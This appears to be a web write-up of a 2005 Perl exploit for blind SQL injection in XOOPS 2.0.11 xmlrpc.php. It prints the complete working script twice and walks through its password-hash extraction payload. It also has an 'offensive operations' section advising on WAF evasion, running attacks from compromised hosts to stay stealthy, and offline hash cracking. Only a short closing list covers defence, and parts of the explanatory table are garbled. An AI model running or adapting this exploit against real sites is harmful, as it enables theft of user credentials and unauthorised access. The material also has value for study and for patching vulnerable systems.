XOOPS 2.0.11 xmlrpc.php SQL Injection Exploit Explained

XOOPS 2.0.11 xmlrpc.php SQL Injection Exploit Explained
What this paper is
This paper details a SQL injection vulnerability in the xmlrpc.php file of XOOPS versions 2.0.11 and earlier. The exploit, written in Perl, leverages this vulnerability to extract the password hash for a specified username. It achieves this by sending specially crafted XML-RPC requests that manipulate SQL queries.
Simple technical breakdown
The core of the vulnerability lies in how the xmlrpc.php script handles user input for the blogger.getUsersBlogs method. When a user's name is provided, it's directly embedded into an SQL query without proper sanitization.
The exploit works by:
- Targeting
blogger.getUsersBlogs: This method is used to retrieve a list of blogs associated with a user. - Injecting SQL: The exploit crafts a malicious string that, when appended to the username, alters the SQL query. This injected string uses SQL functions like
ascii()andsubstring()to extract individual characters of the password. - Blind SQL Injection: The exploit doesn't directly see the database output. Instead, it infers information based on whether the web application returns a specific error message ("User authentication failed") or a success indicator.
- Character-by-Character Extraction: The exploit iteratively guesses each character of the password. It starts by determining the ASCII range of possible characters and then uses a binary search-like approach within
found()and a linear scan withincrack()to find the correct ASCII value for each character position. - Reconstructing the Hash: As each character is identified, it's appended to a growing string (
$allchar), eventually forming the complete password hash.
Complete code and payload walkthrough
The provided Perl script uses several standard Perl modules and custom subroutines to perform the SQL injection and extract the password hash.
#!/usr/bin/perl
## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## based on http://www.gulftech.org/?node=research&article_id=00086-06292005
## coded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## example:
## r57xoops.pl -u http://www.xoops2.ru/xmlrpc.php -n Alexxus
## ---------------------------------------------------------------
## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## ---------------------------------------------------------------
## [~] URL : http://www.xoops2.ru/xmlrpc.php
## [~] NAME : Alexxus
## [~] SEARCHING PASSWORD ... [ DONE ]
## ---------------------------------------------------------------
## USER NAME : Alexxus
## USER HASH : a26c7baaa40ab863f9b22c8649427fa6
## ---------------------------------------------------------------
use LWP::UserAgent;
use Getopt::Std;
getopts('u:n:');
$url = $opt_u;
$name = $opt_n;
if(!$url || !$name) { &usage; }
$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] URL : $url\r\n";
print " [~] NAME : $name\r\n";
print " [~] SEARCHING PASSWORD ... [|]";
while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
---------------------------------------------------------------
USER NAME : $name
USER HASH : $allchar
---------------------------------------------------------------
};
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$data = '<?xml version="1.0"?>';
$data .= '<methodCall>';
$data .= '<methodName>blogger.getUsersBlogs</methodName>';
$data .= '<params>';
$data .= '<param>';
$data .= '<value><string></string></value>';
$data .= '</param>';
$data .= '<param>';
$data .= '<value><string>'.$name.'\' AND ascii(substring(pass,'.$s_num.',1))'.$ccheck.')/*</string></value>';
$data .= '</param>';
$data .= '</params>';
$data .= '</methodCall>';
$req = new HTTP::Request 'POST' => $url;
$req->content_type('application/xml');
$req->content($data);
$ua = new LWP::UserAgent;
$res = $ua->request($req);
$reply= $res->content;
if($reply =~ /Selected blog application does not exist/) { print "\n [-] NEWS BLOG DOES NOT EXIST =(\n [-] EXPLOIT FAILED!\n"; exit(); }
if($reply =~ /User authentication failed/) { return 0; }
else { return 1; }
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage()
{
&head;
print q(
USAGE:
r57xoops.pl [OPTIONS]
OPTIONS:
-u [URL] - path to xmlrpc.php
-n [USERNAME] - user for bruteforce
E.G.
r57xoops.pl -u http://server/xoops/xmlrpc.php -n admin
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
---------------------------------------------------------------
Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}
# milw0rm.com [2005-07-04]| Code Fragment/Block | Practical Purpose |
|---|---|
#!/usr/bin/perl |
Shebang line, indicating the script should be executed with Perl. |
use LWP::UserAgent; |
Imports the LWP::UserAgent module for making HTTP requests. |
use Getopt::Std; |
Imports the Getopt::Std module for parsing command-line options. |
getopts('u:n:'); |
Parses command-line arguments. Expects -u for URL and -n for username. |
$url = $opt_u; $name = $opt_n; |
Assigns the parsed URL and username to variables. |
| `if(!$url | |
$s_num = 1; |
Initializes a counter $s_num to 1. This variable tracks the current character position in the password being guessed. |
| `$ | ++;` |
$n = 0; |
Initializes a counter $n to 0. This is used in the status() subroutine for displaying a spinning progress indicator. |
&head; |
Calls the head subroutine to print the script's header. |
print "\r\n"; |
Prints a newline for formatting. |
print " [~] URL : $url\r\n"; print " [~] NAME : $name\r\n"; |
Displays the target URL and username. |
| `print " [~] SEARCHING PASSWORD ... [ | ]";` |
while(1) |
Starts an infinite loop to guess characters until the password hash is found or an error occurs. |
if(&found(47,58)==0) { &found(96,103); } |
This is a crucial part of the character guessing logic. It first attempts to find characters in the ASCII range 47-58 (which includes '0'-'9' and some symbols). If that fails (returns 0), it then tries the range 96-103 (which includes '', 'a'-'g'). This suggests an attempt to guess common password characters first. The result of foundis stored in$i`. |
$char = $i; |
Assigns the found ASCII character code to $char. |
if ($char=="0") |
Checks if $char is 0. In the context of the crack subroutine, returning 0 signifies that no character was found within the specified range, indicating a failure or the end of the password. |
if(length($allchar) > 0) |
If $char is 0 and $allchar (the accumulated hash) has content, it means a hash was successfully built. |
print qq{\b\b DONE ] ... }; |
Prints the success message, the username, and the found password hash. \b\b is used to backspace and overwrite the previous spinning character. |
else { print "\b\b FAILED ]"; } |
If $char is 0 and $allchar is empty, it means the exploit failed to find any characters. |
exit(); |
Exits the script. |
else { $allchar .= chr($char); } |
If $char is not 0, it means a character was successfully identified. It's converted to its character representation using chr() and appended to $allchar. |
$s_num++; |
Increments $s_num to move to the next character position in the password for the next iteration. |
sub found($$) |
This subroutine performs a binary search-like approach to find the ASCII value of a character. |
my $fmin = $_[0]; my $fmax = $_[1]; |
Takes the minimum and maximum ASCII values for the current search range as input. |
if (($fmax-$fmin)<5) |
Base case for recursion: if the range is small (less than 5), it calls crack() to do a linear scan within this small range. |
$r = int($fmax - ($fmax-$fmin)/2); |
Calculates the midpoint of the current range. |
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax"; |
Constructs a SQL snippet to be used in the check() function. This snippet checks if the target character's ASCII value is between $r and $fmax. The /**/ are SQL comments used to bypass potential keyword filtering. |
if ( &check($check) ) { &found($r,$fmax); } |
If the check() function returns true (meaning the character is in the upper half of the range), recursively calls found() with the upper half of the range. |
else { &found($fmin,$r); } |
Otherwise, recursively calls found() with the lower half of the range. |
sub crack($$) |
This subroutine performs a linear scan to find the exact ASCII value of a character within a small range. |
my $cmin = $_[0]; my $cmax = $_[1]; |
Takes the minimum and maximum ASCII values for the current search range. |
$i = $cmin; |
Initializes a loop counter $i to the minimum value. |
while ($i<$cmax) |
Loops through each ASCII value in the range. |
$crcheck = "=$i"; |
Constructs a SQL snippet to check if the target character's ASCII value is exactly equal to $i. |
if ( &check($crcheck) ) { return $i; } |
If check() returns true, the character is found, and its ASCII value ($i) is returned. |
$i++; |
Increments the loop counter. |
$i = 0; |
If the loop finishes without finding a character, it returns 0 to indicate failure. |
sub check($) |
This is the core function that sends the crafted XML-RPC request and checks the response. |
$n++; |
Increments the request counter. |
status(); |
Calls status() to update the spinning progress indicator. |
$ccheck = $_[0]; |
Gets the SQL condition string (e.g., "BETWEEN 50 AND 100" or "=65") passed from found() or crack(). |
$data = '<?xml version="1.0"?>'; ... $data .= '</methodCall>'; |
Constructs the XML-RPC request payload. |
$data .= '<methodName>blogger.getUsersBlogs</methodName>'; |
Specifies the target XML-RPC method. |
$data .= '<value><string>'.$name.'\' AND ascii(substring(pass,'.$s_num.',1))'.$ccheck.')/*</string></value>'; |
This is the critical injection point. |
- `$name`: The username provided by the user.
- `\'`: Closes the string literal for the username and escapes the single quote.
- `AND ascii(substring(pass,'.$s_num.',1))`: This is the core SQL injection logic.
- `pass`: Assumed column name for the password in the database.
- `substring(pass,'.$s_num.',1)`: Extracts a single character from the `pass` column at the position specified by `$s_num` (the current character position being guessed).
- `ascii(...)`: Gets the ASCII value of the extracted character.
- `'.$ccheck.')`: Appends the condition provided by `found()` or `crack()` (e.g., `BETWEEN 50 AND 100` or `=65`).
- `/*`: Closes the SQL comment, effectively terminating the original query and preventing syntax errors.$req = new HTTP::Request 'POST' => $url; | Creates a new HTTP POST request object.$req->content_type('application/xml'); | Sets the Content-Type header to application/xml.$req->content($data); | Sets the constructed XML payload as the request body.$ua = new LWP::UserAgent; | Creates a new LWP::UserAgent object.$res = $ua->request($req); | Sends the HTTP request.$reply= $res->content; | Gets the response body.if($reply =~ /Selected blog application does not exist/) { ... exit(); } | Checks for a specific error message that indicates the target application might not be XOOPS or the xmlrpc.php is not configured as expected.if($reply =~ /User authentication failed/) { return 0; } | If the response contains "User authentication failed", it means the injected condition was FALSE, and the character is NOT the one being searched for. Returns 0.else { return 1; } | If the response does NOT contain "User authentication failed" (and doesn't contain the "blog application does not exist" error), it implies the injected condition was TRUE, meaning the character is the one being searched for. Returns 1.sub status() | Updates the spinning progress indicator.$status = $n % 5; | Calculates the remainder when $n is divided by 5 to cycle through different characters.if($status==0){ print "\b\b/]"; } ... | Prints different characters (/, -, \, |) to simulate a spinning cursor, using backspace (\b) to overwrite the previous character.sub usage() | Displays the script's usage instructions and exits.sub head() | Prints the script's header.
Shellcode/Payload Segment Explanation
This exploit does not contain traditional shellcode in the sense of executable machine code. Instead, the "payload" is the crafted XML-RPC request that is sent to the vulnerable web server. The "execution" happens on the server-side within the XOOPS application's PHP interpreter, where the SQL injection is processed.
The core of the "payload" is the constructed XML data:
<?xml version="1.0"?>
<methodCall>
<methodName>blogger.getUsersBlogs</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string>USERNAME' AND ascii(substring(pass,POSITION,1))CONDITION)/*</string></value>
</param>
</params>
</methodCall>Where:
USERNAME: The target username (e.g.,admin).POSITION: The current character position being guessed (e.g.,1,2,3, ...).CONDITION: The SQL condition derived from thefound()andcrack()subroutines, such asBETWEEN 50 AND 100or=65.
The exploit iteratively modifies POSITION and CONDITION to guess each character of the password hash.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server is required. No elevated privileges on the server itself are needed initially, as the exploit targets a web application vulnerability.
- Lab Preconditions:
- A vulnerable XOOPS installation (version <= 2.0.11) is needed for testing and development.
- The
xmlrpc.phpfile must be accessible and enabled. - The target database must contain user credentials with a
passcolumn (or equivalent) that can be queried. - A Perl interpreter with the
LWP::UserAgentandGetopt::Stdmodules installed.
- Tooling Assumptions:
- Perl interpreter.
LWP::UserAgentmodule (usually bundled with Perl or easily installable via CPAN).Getopt::Stdmodule (standard Perl module).- A web browser or tool like
curlcan be used to verify the vulnerability manually before running the script.
- Execution Pitfalls:
- Incorrect URL: Providing a URL that doesn't point to
xmlrpc.phpor is not the correct path will cause the exploit to fail. - Non-existent Username: If the specified username does not exist in the XOOPS installation, the exploit will likely fail or report an error.
- Web Application Firewall (WAF): Modern WAFs might detect and block the SQL injection patterns, especially the
ascii(substring(...))construct. The/**/comments are a basic attempt to evade simple filters, but more sophisticated WAFs would likely detect this. - Database Schema Variations: If the password column is named differently (not
pass), the exploit will fail. - Rate Limiting/IP Blocking: Repeated requests from the same IP address might trigger rate limiting or IP blocking by the server or intermediate security devices. The spinning indicator suggests a slow, iterative process.
- Character Set Issues: The exploit assumes ASCII characters for the password hash. If the hash uses extended character sets, the guessing ranges might need adjustment.
- Response Timeouts: Long response times from the server could lead to script timeouts or connection errors.
- "Selected blog application does not exist" error: This specific error message is used as a failure indicator. If the target application returns a different error for invalid requests, the exploit's logic for detecting success/failure might be flawed.
- Incorrect URL: Providing a URL that doesn't point to
- Tradecraft Considerations:
- Reconnaissance: Identify the XOOPS version and confirm the presence of
xmlrpc.php. - Stealth: The iterative nature of the exploit makes it noisy. Each character guess results in a separate HTTP request. This can be detected by IDS/IPS and WAFs. Running the exploit during off-peak hours or from a compromised host with a different IP might be considered.
- Payload Delivery: This exploit is for information gathering (password hash extraction). The extracted hash would then need to be cracked offline using tools like Hashcat or John the Ripper.
- Error Handling: The script has basic error handling but could be improved to gracefully handle network issues or unexpected server responses.
- Customization: The ASCII ranges used for guessing might need to be adjusted based on reconnaissance about the target environment or typical password characters.
- Reconnaissance: Identify the XOOPS version and confirm the presence of
Where this was used and when
This exploit was published in July 2005. At that time, XOOPS was a popular open-source content management system for PHP. Vulnerabilities like this were common in web applications of that era due to less mature security practices and frameworks. Exploits targeting SQL injection in XML-RPC interfaces were a significant threat, as XML-RPC was often enabled for remote administration or integration purposes.
The specific context of its use would be by attackers aiming to gain unauthorized access to XOOPS-powered websites by stealing user credentials. The extracted password hash could then be used in offline cracking attempts.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, especially when used in database queries, must be rigorously validated and sanitized to prevent injection attacks. Use parameterized queries or prepared statements.
- Disable Unnecessary Services: If XML-RPC is not required for the application's functionality, it should be disabled. Similarly, any other unnecessary services or endpoints should be turned off.
- Web Application Firewalls (WAFs): Implement and properly configure WAFs to detect and block common attack patterns, including SQL injection attempts. Keep WAF rules updated.
- Regular Patching and Updates: Keep all web applications, CMS platforms, and their underlying frameworks updated to the latest versions. Vendors typically release patches for known vulnerabilities.
- Secure Coding Practices: Educate developers on secure coding principles, including the dangers of SQL injection and how to prevent it.
- Least Privilege Principle: Ensure that database accounts used by web applications have only the necessary privileges. Avoid granting broad permissions.
- Monitoring and Logging: Implement robust logging for web server and application access. Monitor logs for suspicious activity, such as repeated failed authentication attempts or unusual request patterns.
- Authentication and Authorization: Implement strong authentication mechanisms and ensure proper authorization checks are in place for all actions.
ASCII visual (if applicable)
This exploit's flow can be visualized as a loop of requests and responses, where the exploit tries to guess a character and the server's response confirms or denies the guess.
+-----------------+ +-----------------+ +-----------------+
| Attacker (Perl) | --> | Target Server | --> | Database |
| (Exploit Script)| | (XOOPS xmlrpc.php)| | (SQL Queries) |
+-----------------+ +-----------------+ +-----------------+
| ^ |
| 1. Send crafted | |
| XML-RPC request | |
| (SQL Injection) | |
| | |
| 2. Receive response | |
| (Error/Success) | |
| | |
| 3. Analyze response | |
| to determine char | |
| | |
+-----------------------+-----------------------+
|
v
+-----------------+
| Attacker (Perl) |
| (Builds Hash) |
+-----------------+The check() function is the core of the interaction loop. It sends a request, and the server's response is analyzed to determine if the guessed character is correct. This process repeats for each character position until the entire password hash is reconstructed.
Source references
- Paper URL: https://www.exploit-db.com/papers/1082
- Raw Exploit URL: https://www.exploit-db.com/raw/1082
- Referenced Research: http://www.gulftech.org/?node=research&article_id=00086-06292005 (Note: This link may no longer be active or relevant).
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## based on http://www.gulftech.org/?node=research&article_id=00086-06292005
## coded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## example:
## r57xoops.pl -u http://www.xoops2.ru/xmlrpc.php -n Alexxus
## ---------------------------------------------------------------
## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## ---------------------------------------------------------------
## [~] URL : http://www.xoops2.ru/xmlrpc.php
## [~] NAME : Alexxus
## [~] SEARCHING PASSWORD ... [ DONE ]
## ---------------------------------------------------------------
## USER NAME : Alexxus
## USER HASH : a26c7baaa40ab863f9b22c8649427fa6
## ---------------------------------------------------------------
use LWP::UserAgent;
use Getopt::Std;
getopts('u:n:');
$url = $opt_u;
$name = $opt_n;
if(!$url || !$name) { &usage; }
$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] URL : $url\r\n";
print " [~] NAME : $name\r\n";
print " [~] SEARCHING PASSWORD ... [|]";
while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
---------------------------------------------------------------
USER NAME : $name
USER HASH : $allchar
---------------------------------------------------------------
};
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$data = '<?xml version="1.0"?>';
$data .= '<methodCall>';
$data .= '<methodName>blogger.getUsersBlogs</methodName>';
$data .= '<params>';
$data .= '<param>';
$data .= '<value><string></string></value>';
$data .= '</param>';
$data .= '<param>';
$data .= '<value><string>'.$name.'\' AND ascii(substring(pass,'.$s_num.',1))'.$ccheck.')/*</string></value>';
$data .= '</param>';
$data .= '</params>';
$data .= '</methodCall>';
$req = new HTTP::Request 'POST' => $url;
$req->content_type('application/xml');
$req->content($data);
$ua = new LWP::UserAgent;
$res = $ua->request($req);
$reply= $res->content;
if($reply =~ /Selected blog application does not exist/) { print "\n [-] NEWS BLOG DOES NOT EXIST =(\n [-] EXPLOIT FAILED!\n"; exit(); }
if($reply =~ /User authentication failed/) { return 0; }
else { return 1; }
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage()
{
&head;
print q(
USAGE:
r57xoops.pl [OPTIONS]
OPTIONS:
-u [URL] - path to xmlrpc.php
-n [USERNAME] - user for bruteforce
E.G.
r57xoops.pl -u http://server/xoops/xmlrpc.php -n admin
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
---------------------------------------------------------------
Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}
# milw0rm.com [2005-07-04]